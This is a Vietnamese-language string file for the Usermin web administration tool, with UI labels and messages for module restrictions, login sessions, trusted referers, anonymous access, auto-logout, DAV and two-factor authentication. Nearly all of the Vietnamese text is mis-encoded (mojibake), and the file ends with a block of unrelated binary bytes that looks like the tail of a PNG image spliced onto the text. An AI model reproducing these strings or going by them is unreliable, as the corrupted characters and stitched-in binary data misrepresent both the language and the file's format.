restrict_title=Giới hạn mô-đun
restrict_desc=Trang này cho phép bạn kiểm soát các mô-Ä‘un Usermin nào có sẵn cho các ngưá»i dùng và nhóm khác nhau. Tất cả các bổ sung và mô Ä‘un trong danh sách Ä‘á»u được áp dụng, không chỉ là mô Ä‘un đầu tiên phù hợp vá»›i từng ngưá»i dùng. <br>Các mô-Ä‘un không được chá»n trên trang<a href='$1'> mô-Ä‘un khả dụng </a> sẽ không bao giá» khả dụng ngưá»i dùng, ngay cả khi hỠđược chá»n ở đây.
restrict_who=Ngưá»i dùng Usermin
restrict_what=Các mô-đun có sẵn
restrict_all=Tất cả ngưá»i dùng
restrict_group=Nhóm 1
restrict_file=Ngưá»i dùng trong tệp $1 
restrict_plus=<b>Tất cả cộng</b> $1 
restrict_minus=<b>Tất cả ngoại trừ</b> $1 
restrict_set=<b>Chỉ</b> $1 
restrict_nomods=<b>Không có mô-đun</b>
restrict_add=Thêm hạn chế ngưá»i dùng hoặc nhóm má»›i
restrict_edit=Chỉnh sửa hạn chế
restrict_create=Tạo hạn chế
restrict_header=Chi tiết hạn chế mô-đun Usermin
restrict_who2=Ãp dụng đối vá»›i
restrict_umode0=Ngưá»i dùng Unix
restrict_umode1=Thành viên của nhóm
restrict_umode2=Tất cả ngưá»i dùng
restrict_umode3=Ngưá»i dùng và nhóm trong tệp
restrict_mods=Mô-đun
restrict_modsdesc=(Những ngưá»i có màu đỠđã bị vô hiệu hóa trên trang <a href='$1'>Các mô-Ä‘un có sẵn</a>)
restrict_mmode0=Chỉ được chá»n ..
restrict_mmode1=Thêm lá»±a chá»n ..
restrict_mmode2=BỠđã chá»n ..
restrict_return=danh sách hạn chế
restrict_err=Không thể lưu hạn chế
restrict_euser=Tên ngưá»i dùng bị thiếu hoặc không hợp lệ
restrict_egroup=Tên nhóm bị thiếu hoặc không hợp lệ
restrict_efile=Tập tin ngưá»i dùng và nhóm bị thiếu, không tồn tại hoặc không tuyệt đối
restrict_move=Di chuyển
bootup_ecannot=Bạn không được phép cấu hình khởi động

acl_icons=Trang cấu hình được phép
acl_mods=Có thể cấu hình các mô-đun
acl_all=Tất cả các mô-đun
acl_sel=Chá»n bên dưới ..
acl_stop=Có thể dừng lại và bắt đầu Usermin?
acl_bootup=Có thể cấu hình bắt đầu lúc khởi động?
acl_ecannot=Bạn không được phép sử dụng trang này

clone_err=Không thể sao chép mô-đun
clone_elink=liên kết tượng trưng không thành công : $1 
clone_ecopy=không thể sao chép cấu hình : $1 
clone_desc=Bản sao của $1 

sessions_title=Phiên đăng nhập hiện tại
sessions_desc=Äăng nhập phiên Usermin hiện tại được liệt kê dưới đây. Äể há»§y phiên hiện có và buá»™c ngưá»i dùng đăng nhập lại, hãy nhấp vào ID phiên cá»§a nó.
sessions_id=ID phiên
sessions_user=Ngưá»i dùng Unix
sessions_host=địa chỉ IP
sessions_login=Äăng nhập tại
sessions_none=Không có ngưá»i dùng hiện Ä‘ang đăng nhập vào Usermin.
sessions_switch=Chuyển sang ngưá»i dùng Usermin:
sessions_ok=Công tắc điện

referers_title=Ngưá»i giá»›i thiệu đáng tin cậy
referers_desc=Trang này cho phép bạn định cấu hình há»— trợ kiểm tra ngưá»i giá»›i thiệu cá»§a Usermin, được sá»­ dụng để ngăn các liên kết độc hại từ các trang web khác lừa trình duyệt cá»§a ngưá»i dùng cá»§a bạn thá»±c hiện những Ä‘iá»u nguy hiểm vá»›i Usermin. Tuy nhiên, nếu bạn có liên kết đến Usermin từ các trang web cá»§a riêng bạn mà bạn không muốn được cảnh báo vá» việc bạn nên thêm các trang web đó vào danh sách bên dưới.

anon_title=Truy cập mô-đun ẩn danh
anon_desc=Trang này cho phép bạn cấp quyá»n truy cập vào các mô-Ä‘un và đưá»ng dẫn Usermin đã chá»n mà không cần khách hàng đăng nhập. Äối vá»›i má»—i đưá»ng dẫn mô-Ä‘un mà bạn nhập bên dưới (chẳng hạn như / lệnh hoặc / changepass), bạn cÅ©ng phải nhập tên cá»§a ngưá»i dùng Unix có quyá»n sẽ được sá»­ dụng để truy cập mô-Ä‘un.
anon_user=Ngưá»i dùng Unix
anon_euser=Ngưá»i dùng Unix bị thiếu hoặc không hợp lệ cho đưá»ng dẫn URL '$1'

logout_title=Thá»i gian đăng xuất tá»± động
logout_desc=Trang này có thể được sá»­ dụng để định cấu hình thá»i gian đăng xuất không hoạt động khác nhau cho những ngưá»i dùng Usermin khác nhau. Thá»i gian chá» phải được nhập theo phút và thá»i gian chá» bằng 0 có nghÄ©a là các phiên cho ngưá»i dùng phù hợp sẽ không bao giỠđược đăng xuất tá»± động.
logout_type=Kiểu
logout_who=Ngưá»i dùng, nhóm hoặc tập tin
logout_time=Hết giá»
logout_user=Ngưá»i sá»­ dụng ..
logout_group=Thành viên của nhóm ..
logout_file=Ngưá»i dùng trong tập tin ..
logout_err=Không thể lưu thá»i gian đăng xuất
logout_euser=Ngưá»i dùng bị thiếu hoặc không hợp lệ trong hàng $1 
logout_egroup=Nhóm bị thiếu hoặc không hợp lệ trong hàng $1 
logout_efile=Tệp bị thiếu hoặc không tồn tại trong hàng $1 
logout_etime=Hết thá»i gian chá» hoặc không hợp lệ trong hàng $1 
logout_ecannot=Bạn không được phép định cấu hình thá»i gian đăng xuất

dav_title=Máy chủ DAV
dav_header=Tùy chá»n máy chá»§ DAV
dav_path=Äã bật DAV?
dav_disabled=Tàn tật
dav_enabled=Äã bật, trong đưá»ng dẫn URL $1 
dav_root=Cho phép truy cập vào thư mục
dav_root0=Toàn bộ hệ thống tập tin
dav_root1=Thư mục nhà cá»§a ngưá»i dùng
dav_root2=Thư mục $1 
dav_ecannot=Bạn không được phép cấu hình máy chủ DAV
dav_emodule=Mô-đun Perl $1 cần thiết để kích hoạt DAV chưa được cài đặt.
dav_cpan=<a href='$1'>Nhấp vào đây</a> để tải xuống Webmin và tự động cài đặt nó cho bạn.
dav_desc=Há»— trợ DAV cá»§a Usermin cho phép các máy khách há»— trợ giao thức DAV kết nối vá»›i máy chá»§ Usermin này và Ä‘á»c và ghi tệp. Tất cả quyá»n truy cập tệp được thá»±c hiện vá»›i các đặc quyá»n Unix cá»§a ngưá»i dùng đã đăng nhập và sẽ bị giá»›i hạn trong thư mục được chỉ định.
dav_err=Không thể lưu tùy chá»n máy chá»§ DAV
dav_epath=ÄÆ°á»ng dẫn URL bị thiếu hoặc không hợp lệ
dav_eroot=Thư mục gốc bị thiếu hoặc không hợp lệ
dav_users=Ngưá»i dùng có thể sá»­ dụng DAV
dav_users1=Tất cả ngưá»i dùng
dav_users0=Ngưá»i dùng và nhóm được liệt kê dưới đây ..
dav_eusers=Không có ngưá»i dùng nào được nhập

syslog_errorlog=Nhật ký lỗi Usermin

descs_title=Tiêu đỠmô-đun
descs_info=Trang này cho phép bạn chỉ định các tiêu đỠthay thế cho các mô-đun Usermin, để ghi đè các mô tả tiêu chuẩn của chúng.

advanced_title=Tùy chá»n nâng cao
advanced_pass=Cung cấp mật khẩu cho các chương trình Usermin? <br><font size=-1> (Không hoạt động khi bật xác thực phiên) </font>

blocked_title=Máy chá»§ và ngưá»i dùng bị chặn
blocked_none=Không có máy chá»§ hoặc ngưá»i dùng hiện Ä‘ang bị chặn bởi Usermin.
blocked_user=Ngưá»i dùng Usermin
blocked_cleardesc=Nhấp vào nút này để xóa tất cả các khối máy chá»§ và ngưá»i dùng hiện tại, bằng cách khởi động lại quy trình máy chá»§ Usermin.

mobile_title=Tùy chá»n thiết bị di động

copycert_err=Không thể sao chép cài đặt SSL từ Webmin
copycert_essl=SSL không được kích hoạt
copycert_ekeyfile=Không có tệp khóa riêng nào được đặt trong Webmin

twofactor_desc=Xác thá»±c hai yếu tố cho phép ngưá»i dùng Usermin cho phép sá»­ dụng thiết bị xác thá»±c bổ sung khi đăng nhập, chẳng hạn như trình tạo mật mã dùng má»™t lần. Ngưá»i dùng phải đăng ký riêng vá»›i nhà cung cấp xác thá»±c đã chá»n sau khi nó được bật trên trang này.
twofactor_eversion=Phiên bản Usermin được cài đặt trên hệ thống của bạn không hỗ trợ xác thực hai yếu tố.

web_header=Các tùy chá»n cho máy chá»§ web tích hợp cá»§a Usermin
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚